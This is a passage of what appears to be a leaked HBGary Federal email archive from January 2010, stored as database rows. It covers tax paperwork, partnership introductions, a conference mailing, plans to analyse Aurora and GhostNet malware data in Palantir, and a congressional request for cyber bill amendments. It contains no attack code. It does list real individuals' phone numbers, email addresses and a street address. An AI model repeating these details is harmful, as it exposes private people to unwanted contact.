CPA\r\n> Subject: Fwd: FW: HBGary Inc. Taxes\r\n>\r\n> Do you mean HBGary Federal LLC John?\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Penny Leavy-Hoglund \r\n> Date: Wed, Jan 27, 2010 at 1:51 PM\r\n> Subject: FW: HBGary Inc. Taxes\r\n> To: Ted Vera \r\n> Cc: johncoxcpa@verizon.net\r\n>\r\n>\r\n> John needs info that you have for 2009 expenses etc\r\n>\r\n>\r\n>\r\n> From: John L. Cox, CPA [mailto:johncoxcpa@verizon.net]\r\n> Sent: Wednesday, January 27, 2010 10:50 AM\r\n> To: \'Penny Leavy-Hoglund\'\r\n> Subject: HBGary Inc. Taxes\r\n> Importance: High\r\n>\r\n>\r\n>\r\n> Penny,\r\n>\r\n>\r\n>\r\n> In order to complete HBGary, Inc. 2009 tax returns I will need to have\r\n> completed the HBGary LLC tax returns because HBGary Inc. is a member.\r\n> When will that data be available?  Thanks.\r\n>\r\n>\r\n>\r\n> John L. Cox, CPA\r\n>\r\n> 12107 Faith Lane\r\n>\r\n> Bowie, Maryland 20715\r\n>\r\n> (240) 949-6022 Voice\r\n>\r\n> (866) 750-1973 Fax\r\n>\r\n>\r\n>\r\n> This message contains information that may be confidential and\r\n> privileged. Unless you are the addressee (or authorized to receive for\r\n> the addressee), you may not use, copy, print or disclose to anyone the\r\n> message or any information contained in the message. If you have\r\n> received this e-mail in error, please advise the sender by reply and\r\n> delete the message. Thank you.\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n',4957,'aaron_hbgary_com/4957.html'),(1637,'2010-01-27','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','/aaron@hbgary.com/new/1297000494.M806622P3547Q1637.eml','\"Balenson, David\" <David.Balenson@cobham.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased\r\nto meet you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look\r\nforward to discussing NWOC and other opportunities with you.\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\nChief Scientist\r\n\r\nSPARTA National Security Systems Sector\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n7110 Samuel Morse Drive\r\n\r\nColumbia, MD 21046\r\n\r\nwww.sparta.com\r\n\r\nT:&nbsp;443-430-8059\r\n\r\nC: 703-209-2221\r\n\r\nF: 443-430-8208\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before\r\nprinting this email\r\n\r\nThis e-mail and any files transmitted with it\r\n(&quot;E-mail&quot;) is intended solely for the addressee(s) and may contain\r\nconfidential and/or legally privileged information. If you are not the\r\naddressee(s), any disclosure, reproduction, copying, distribution or other use\r\nof the E-mail is prohibited. If you have received this E-mail in error, please\r\ndelete it and notify the sender immediately via our switchboard or return\r\ne-mail.\r\n\r\nNeither the company nor any subsidiary or affiliate or\r\nassociated company nor any individual sending this E-mail accepts any liability\r\nin respect of the content (including errors and omissions) nor shall this\r\ne-mail be deemed to enter the company or any subsidiary or affiliate or\r\nassociated company into a contract or to create any legally binding obligations\r\nunless expressly agreed to in writing under separate cover and timeliness of\r\nthe E-mail which arise as a result of transmission. If verification is\r\nrequired, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David \r\nSent: Wednesday, January 27, 2010\r\n4:02 PM\r\nTo: Aaron Barr\r\nCc: Balenson, David; Mettala, Erik\r\nSubject: RE: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nThank you for your\r\ninquiry. We&#8217;d be happy to exchange capabilities and explore possible ways\r\nto work together. As I mentioned in my voicemail, tomorrow will be my last day\r\nat SPARTA.\r\nPlease follow-up with Erik Mettala, Chief Scientist for SPARTA&#8217;s National Security Sector.\r\nErik&#8217;s contact information is erik.mettala@cobham.com,\r\n443-430-8059.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks and regards,\r\n\r\n-DB\r\n\r\n&nbsp;\r\n\r\n------------------------------------------------------------------------------------------------\r\n\r\nDavid M. Balenson,\r\nDivision Manager, Security Research\r\n\r\nSPARTA National Security Sector\r\n\r\nCobham Analytic\r\nSolutions\r\n\r\nTel: 443.430.8004\r\n\r\nFax: 443.430.8153\r\n\r\nEmail:\r\nDavid.Balenson@cobham.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010\r\n11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Dave,\r\n\r\n\r\n\r\nI would like to talk to you about\r\nour similar interest in the NWOC BAA. As well I would be interested in getting\r\nan update on your capabilities and likewise get you familiar with ours. I received\r\na briefing more than an year back when I was leading the technical strategy for\r\nNorthrop Grummans cyber campaign. I remember being impressed by your amount of\r\nIP related to cybersecurity. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6498,'aaron_hbgary_com/6498.html'),(1638,'2010-01-27','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297000495.M14444P3547Q1638.eml','aaron@hbgary.com','AFCEA\'s Homeland Security Conference - Speaker Update','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		          \r\n\r\n	\r\n		\r\n			\r\n			\r\n              \r\n                AFCEA\'s 9th Annual Homeland Security Conference\r\n                    \"DHS - The 7-Year Itch - Renewing the \r\nCommitment\" \r\n    February 24-25, 2010 \r\n    Ronald Reagan International Trade Center\r\n    Washington, D.C.\r\n                  \r\n                www.afcea.org/events/homeland\r\n                The AFCEA Homeland Security Conference has become the premier event in the Washington, D.C. area to learn about the most current homeland security issues facing our nation. The conference agenda is set by an advisory board made up of the government and industry individuals that are accountable for carrying out the DHS mission.\r\n                &nbsp;\r\n                This is THE venue will you will hear first-hand about the critical issues facing our country in the fight against terrorism. The conference offers an opportunity for you to engage in the dialogue on critical issues with key government and industry executives.&nbsp; CIO\'s, Procurement Officials, and Senior Program Managers will be discussing their priorities.\r\n                &nbsp;\r\n                Outstanding Keynote Speaker Line-up&nbsp;includes:\r\n                \r\n                  \r\n                    Chief Cathy Lanier, Chief of Police, District of Columbia &nbsp;\r\n                    Congresswoman Loretta Sanchez, Subcommittee Chairwoman for the Committee on Homeland Security- Border, Maritime and Global Terrorism &nbsp; \r\n                    \r\n                      Mr. Ralph Basham, former Commissioner, U.S. Customs and Border Protection \r\n                    \r\n                  \r\n                  Compelling Dialogue: \r\n                  \r\n                    Federal Executive Forum (on-air live broadcast!) \r\n                      \r\n                        Moderator: Mr. Jim Flyzik, President, The Flyzik Group and Chairman, AFCEA Homeland Security Committee\r\n                        \r\n                        Mr.&nbsp;Richard Spires,&nbsp;CIO,&nbsp;DHS\r\n                      \r\n                      Mr. Charlie Armstrong, CIO, CBP\r\n                            Mr. Luke McCormack, CIO, ICE\r\n                            Ms. Sandy Peavy, CIO, FLETC\r\n                            \r\n                            \r\n                            \r\n                      \r\n                    \r\n                  \r\n                \r\n                 \r\n                    Procurement Executives Roundtable\r\n                      \r\n                        \r\n                            Moderator: Mr. Greg Rothwell, President, Evermay Consulting \r\n                            Mr. Kevin Boshears, Director, Office of Small and Disadvantaged Business Utilization, DHS\r\n                            Ms. Soraya Correa, Director, Office of Procurement Operations, DHS\r\n                            Mr. Rick Gunderson, Chief of Procurement, DHS\r\n                            Ms.Tiffany&nbsp;Hixson, Executive&nbsp;Director, SBI Acquisition Office, CBP, DHS\r\n                            \r\n                            \r\n                        \r\n                      \r\n                    \r\n                \r\n                \r\n                \r\n                  \r\n                    Emerging Social Media &amp; Transparency Gap \r\n                        \r\n                          \r\n                            Moderator: Mr. Tony Vanchieri, Executive Vice President, Summit Marketing \r\n                            COL Kevin V. Arata, USA, Director, Army Online and Social Media Division \r\n                            SSG Josh Salmons, USA, Emerging Media Coordinator, Defense Information School\r\n                            Mr. Michael Walsh, Project Director, Forum One Communications \r\n                            \r\n                          \r\n                        \r\n                    \r\n                  \r\n                \r\n                \r\n                  New initiative this year! Innovative, informal discussion on the exhibit floor!\r\n                      \r\n                      National Information Exchange Model (NIEM):\r\n                \r\n                \r\n  \r\n    Mr. Anthony Hoang, Acting Director, Emergency Data Management Office and Managing Director, NIEM, DHS\r\n  \r\n  \r\n    Mr. John Teeter, Deputy CIO, HHS \r\n  \r\n  \r\n                Other Featured Topics:  \r\n\r\n                  \r\n                     Cyber Security\r\n                    Identity Management\r\n                    Border Security&nbsp;- Government &amp; Industry Perspectives \r\n                    Immigration Reform\r\n                    Information/Intelligence-Sharing \r\n                  \r\n\r\n                &nbsp;\r\n                For more information on the conference and to register &ndash; please visit www.afcea.org/events/homeland . \r\n                &nbsp;\r\n                Exhibit and sponsorship opportunities are still available. Please contact Maureen Cirrito at mcirrito@afcea.org for more details.\r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  AFCEA STRATEGIC PARTNERS\r\n                \r\n                \r\n                  &nbsp;\r\n                  \r\n                  &nbsp;\r\n                  \r\n                  &nbsp;\r\n                \r\n                            \r\n              \r\n                \r\n                  &nbsp;\r\n                \r\n                \r\n                  PLATINUM PATRONS\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                            \r\n              \r\n                \r\n                  &nbsp;\r\n                \r\n                \r\n                  GOLD PATRONS\r\n                \r\n                \r\n                  &nbsp;\r\n                  \r\n                  \r\n                  \r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  \r\n                  \r\n                  \r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                            \r\n              \r\n                \r\n                  SILVER PATRONS\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                \r\n                \r\n                  SMALL BUSINESS PATRONS\r\n                \r\n                \r\n                  &nbsp;\r\n                  \r\n                  \r\n                  \r\n                  &nbsp;\r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  SPONSORS\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  \r\n                \r\n              \r\n              			\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15897,'aaron_hbgary_com/15897.html'),(1639,'2010-01-27','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000495.M226732P3547Q1639.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Add to Dev Portal','Just sent in the request.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 10:43 PM\r\nTo: Matthew Steckman\r\nSubject: Add to Dev Portal\r\n\r\nHey Matt,\r\n\r\nCan you add Rich Cummings, rich@hbgary.com, to have access to the dev portal?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3966,'aaron_hbgary_com/3966.html'),(1640,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000504.M610954P3547Q1640.eml','\"Greg Hoglund\" <greg@hbgary.com>','Only data I have','Checking with Chris to see if there is more.  I talked with EQS today  \r\nand they are going to work to get us their data.\r\n\r\nAaron\r\n\r\n',3788,'aaron_hbgary_com/3788.html'),(1641,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000505.M462227P3547Q1641.eml','\"John Farrell\" <john@endgames.us>,chris@endgames.us','Re: AF BAA','Chris/John,\r\n\r\nI thought the meeting the other day was helpful.  As is typical with  \r\nme I usually come to some grand idea and them resolve to something a  \r\nlittle more practical.\r\n\r\nHere is what I think is more practical and executable in the short  \r\nterm.  Greg and team are currently working to integrate some of our  \r\nAurora and GhostNet data into Palantir.  Palantir already has some  \r\nworking scenarios built around these.\r\n\r\nWe would like to start with a smaller team of HBGary, Palantir, EGS.   \r\nWith EGS really being a silent partner just providing the data.  As we  \r\ndevelop something to show and go after opportunities we will include  \r\nEGS.\r\n\r\nHow does that sound?  Want to set up a brief call to discuss.  I think  \r\nI am going to miss you next week Chris as I will be out of town, but  \r\nwould like to try and get together your next trip out.\r\n\r\nAaron\r\n\r\nOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:\r\n\r\n> i have not seen this one yet. I will review and let you know. Of  \r\n> course, we would be very interested in responding as part of your  \r\n> team.\r\n>\r\n> Have you seen this attached BAA? Might be another one where we could  \r\n> team up.\r\n>\r\n> thanks\r\n> \r\n>\r\n>\r\n> On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:\r\n>\r\n>> Hey John,\r\n>>\r\n>> Are you guys responding to this?  Want to go after it together?  I  \r\n>> picture a combined capability with yours, what HBGary can do and  \r\n>> the IO stuff I talked to you about.  Seems like a good combination.\r\n>>\r\n>>\r\n>>\r\n>> \r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> John M. Farrell\r\n> Vice President, Federal\r\n> john@endgames.us\r\n> 703.622.9025\r\n>\r\n>\r\n>\r\n\r\n',9640,'aaron_hbgary_com/9640.html'),(1642,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000505.M710247P3547Q1642.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Add to Dev Portal','Thanks.\r\n\r\nI have been talking with the folks from HBGary that attended the  \r\nmeetings yesterday.  I think the Consortium concept is still a good  \r\nidea and one I will continue to push along.  That said I think there  \r\nis something quicker that we can do with existing partnerships that  \r\nwill show a lot of value add.\r\n\r\nThe combination of HBGary data with EndGame Systems data in the  \r\nPalantir framework, specifically we are working scenarios around  \r\nProject Aurora and GhostNet.  We have a lot of data on both.   \r\nFortunately I know you already have significant data on Ghostnet.   \r\nGreg has a bug right now around this idea and is working this himself  \r\nin his offtime.  He installed Palantir today and is starting to input  \r\ndata.\r\n\r\nAaron\r\n\r\nOn Jan 27, 2010, at 6:21 PM, Matthew Steckman wrote:\r\n\r\n> Just sent in the request.\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 26, 2010 10:43 PM\r\n> To: Matthew Steckman\r\n> Subject: Add to Dev Portal\r\n>\r\n> Hey Matt,\r\n>\r\n> Can you add Rich Cummings, rich@hbgary.com, to have access to the  \r\n> dev portal?\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n',264,'aaron_hbgary_com/264.html'),(1643,'2010-01-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000509.M648031P3547Q1643.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,phil@hbgary.com','Re: Report writeup so far on Phil\'s Aurora (with attachment this 	time)','Srry, missed attachement,\r\n \r\nOn Wed, Jan 27, 2010 at 3:32 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nTeam,\r\n \r\nSee the attached.  Something along these lines would make a nice report.  What is really cool - I was able to trace a toolmark to a developer of one of Phil&#39;s droppers, and from this, I found another place where individuals can obtain technical support on the dropper - so this represents going from toolmark, to developer, to user (operator) of the malware.  That is about as good as it gets.\r\n\r\n \r\n-Greg\r\n',14824,'aaron_hbgary_com/14824.html'),(1644,'2010-01-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000509.M845794P3547Q1644.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,phil@hbgary.com','Report writeup so far on Phil\'s Aurora','Team,\r\n \r\nSee the attached.  Something along these lines would make a nice report.  What is really cool - I was able to trace a toolmark to a developer of one of Phil&#39;s droppers, and from this, I found another place where individuals can obtain technical support on the dropper - so this represents going from toolmark, to developer, to user (operator) of the malware.  That is about as good as it gets.\r\n\r\n \r\n-Greg\r\n',824,'aaron_hbgary_com/824.html'),(1645,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000510.M284373P3547Q1646.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: request for amendments - cyber bill','Wow.  Anyone interested in drafting some legislation.  Looks like I have some work to do.  Any ideas would be helpful.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Date: January 27, 2010 6:45:14 PM ESTTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nSubject: request for amendments - cyber bill\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.  This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n \r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.  You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf. \r\nAs you can tell, this was a fairly noncontroversial bill.  The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).  \r\n\r\n \r\n\r\nHere’s how the procedure works.  Members are\r\nallowed to write amendments to the bill.  They submit them to the Rules\r\nCommittee.  On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.” \r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).  Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.  \r\n\r\n \r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.  Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.  For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.   \r\n\r\n \r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.  You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.  Please be creative! \r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n \r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.  If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n \r\n\r\nThanks for your help.\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16726,'aaron_hbgary_com/16726.html'),(1646,'2010-01-27','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297000510.M67975P3547Q1645.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','request for amendments - cyber bill','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.&nbsp; This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n&nbsp;\r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.&nbsp; You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;\r\nAs you can tell, this was a fairly noncontroversial bill.&nbsp; The Speaker&#8217;s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).&nbsp; \r\n\r\n&nbsp;\r\n\r\nHere&#8217;s how the procedure works.&nbsp; Members are\r\nallowed to write amendments to the bill.&nbsp; They submit them to the Rules\r\nCommittee.&nbsp; On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either &#8220;in order&#8221; or &#8220;out of order.&#8221;&nbsp;\r\nAmendments are supposed to be &#8220;germane&#8221; to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).&nbsp; Amendments that are\r\nruled &#8220;in order&#8221; can then be raised by that member on the floor &#8211;\r\nand put to a vote of the House.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.&nbsp; Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.&nbsp; For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.&nbsp; You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.&nbsp; Please be creative!&nbsp;\r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n&nbsp;\r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.&nbsp; If you&#8217;re not comfortable\r\ndrafting an amendment, feel free to submit an &#8220;idea&#8221; to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n&nbsp;\r\n\r\nThanks for your help.\r\n\r\n&nbsp;\r\n\r\nJake\r\n\r\n&nbsp;\r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2622,'aaron_hbgary_com/2622.html'),(1647,'2010-01-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000511.M972043P3547Q1647.eml','\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com','my aurora palantir project',' \r\nHere it is.\r\n \r\n-Greg\r\n',293,'aaron_hbgary_com/293.html'),(1648,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000512.M214242P3547Q1648.eml','\"Thomas W. Conroy\" <Tom.Conroy@ngc.com>,\"Barnett, H.\" <Jim.H.Barnett@ngc.com>','Fwd: request for amendments - cyber bill','Wow.  Any thoughts?  I have some work to do.AaronFrom my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM ESTTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Subject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\nOne of the interesting things about working for Congress is\r\nthat you can go long stretches of time where you never seem to have traction on\r\nan issue, and then suddenly a window of opportunity presents itself and you\r\nhave a brief moment to take advantage of it.  This is one of those moments\r\nfor cybersecurity here in the House of Reps.\r\n\r\n \r\n\r\nSeveral months ago, the Science\r\nand Technology Committee marked up a Cyber R&amp;D bill.  You can find the\r\nbill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf. \r\nAs you can tell, this was a fairly noncontroversial bill.  The Speaker’s\r\noffice decided today that they want this bill on the floor next week\r\n(likely Wednesday or Thursday).  \r\n\r\n \r\n\r\nHere’s how the procedure works.  Members are\r\nallowed to write amendments to the bill.  They submit them to the Rules\r\nCommittee.  On Monday night, the Rules Committee will consider those amendments,\r\nand rule them either “in order” or “out of order.” \r\nAmendments are supposed to be “germane” to the section of the bill\r\nthat is being amended (there is a test for this, but basically an amendment has\r\nto relate to the subject matter under consideration).  Amendments that are\r\nruled “in order” can then be raised by that member on the floor –\r\nand put to a vote of the House.  \r\n\r\n \r\n\r\nAs you can see from the text, the bill contains provisions on\r\nR&amp;D, cyber workforce, strategic planning, social and behavioral cyber\r\nresearch, the focus of NSF grants, scholarship for service, NIST research, international\r\nstandards, identity management, cyber awareness into legislation.  Lots of\r\ngood and interesting subjects that can be improved and enhanced through the\r\namendment process.  For those looking for an opportunity, this is a\r\ngreat way to address some of these issues in a bill that will be voted on by\r\nthe House of Representatives.   \r\n\r\n \r\n\r\nMembers have already been asking me for amendments, and I am\r\nbusy drafting.  You are a trusted ally, and I would really appreciate if\r\nyou can take a look at this bill, see if you have some ideas about ways to\r\nimprove it, and send them to me.  Please be creative! \r\nI will take your submissions, turn them into amendment language, and send them\r\nto members who are interested in amending this bill.\r\n\r\n \r\n\r\nSorry for the late notice, but I need your proposals\r\nby not later than FRIDAY at NOON.  If you’re not comfortable\r\ndrafting an amendment, feel free to submit an “idea” to me and I will\r\ndo my best to turn it into legislative language that the members can use.\r\n\r\n \r\n\r\nThanks for your help.\r\n\r\n \r\n\r\nJake\r\n\r\n \r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and\r\nCounsel\r\n\r\nEmerging Threats,\r\nCybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland\r\nSecurity (Majority)\r\n\r\n202-226-2623\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15881,'aaron_hbgary_com/15881.html'),(1649,'2010-01-27','rich@hbgary.com','/aaron@hbgary.com/new/1297000512.M423249P3547Q1649.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: request for amendments - cyber bill','Yes I do! ;) Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 27 Jan 2010 18:49:26 -0500To: Greg Hoglund&lt;greg@hbgary.com&gt;; Penny Leavy&lt;penny@hbgary.com&gt;; Ted Vera&lt;ted@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;Subject: Fwd: request for amendments - cyber billWow.  Anyone interested in drafting some legislation.  Looks like I have some work to do.  Any ideas would be helpful.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;Date: January 27, 2010 6:45:14 PM ESTTo: &quot;Olcott, Jacob&quot; 